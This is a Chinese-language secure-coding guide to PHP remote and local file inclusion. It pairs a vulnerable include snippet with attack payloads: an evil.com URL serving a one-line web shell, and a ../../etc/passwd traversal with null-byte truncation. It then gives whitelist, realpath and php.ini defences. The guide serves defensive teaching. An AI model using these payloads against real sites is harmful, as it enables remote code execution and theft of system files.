PHP 允許使用 include()、require()、include_once()、require_once() 動態包含檔案。當開啟 allow_url_fopen=On(預設開啟)且開發者直接將使用者輸入作為檔案路徑參數,未經過濾即傳入包含函數,攻擊者即可注入遠端惡意腳本 URL,導致任意程式碼執行。
| 函數 | 失敗行為 | 適用場景 |
|---|---|---|
| include() | 發出 Warning,腳本繼續執行 | 非關鍵檔案、模板片段 |
| require() | 發出 Fatal Error,腳本終止 | 核心設定、必要類別 |
| include_once() / require_once() | 同以上,但防止重複包含 | 類別定義、函數庫 |
// 易受攻擊程式碼
$page = $_GET['page'];
include($page . '.php');
// 攻擊 Payload
?page=https://evil.com/shell.txt
// 遠端 shell.txt 內容:
// <?php system($_GET['cmd']); ?>
// 實際執行:https://target.com/vuln.php?page=https://evil.com/shell.txt&cmd=id
即使關閉 allow_url_fopen,攻擊者仍可利用目錄遍歷(../)讀取本地敏感檔案:
?page=../../etc/passwd%00
// PHP < 5.3.4 可用空字節截斷 .php 附加後綴
$allowed = ['home', 'about', 'contact'];
$page = in_array($_GET['page'], $allowed) ? $_GET['page'] : 'home';
include($page . '.php');
php.ini 設定 allow_url_fopen = Off、allow_url_include = Off(PHP 5.2+)。realpath() 解析絕對路徑,確保在允許目錄下。
$base = '/var/www/includes/';
$file = realpath($base . $_GET['page'] . '.php');
if (strpos($file, $base) === 0 && file_exists($file)) include($file);
disable_functions = include,require,include_once,require_once,fopen,file_get_contents,curl_exec(視業務需求調整)。include 需求。include/require 變數來源是否可控allow_url_include = Off{include file=...} 需限制)php_flag engine off)display_errors = Off)RFI/LFI 是 PHP 經典高危漏洞,根源在於「資料與程式碼未分離」。現代框架(Laravel、Symfony、ThinkPHP)皆採用路由控制器+視圖渲染架構,從設計層面杜絕動態包含風險。維護舊專案時,優先重構為白名單機制,並關閉 allow_url_include 徹底斷開遠端攻擊面。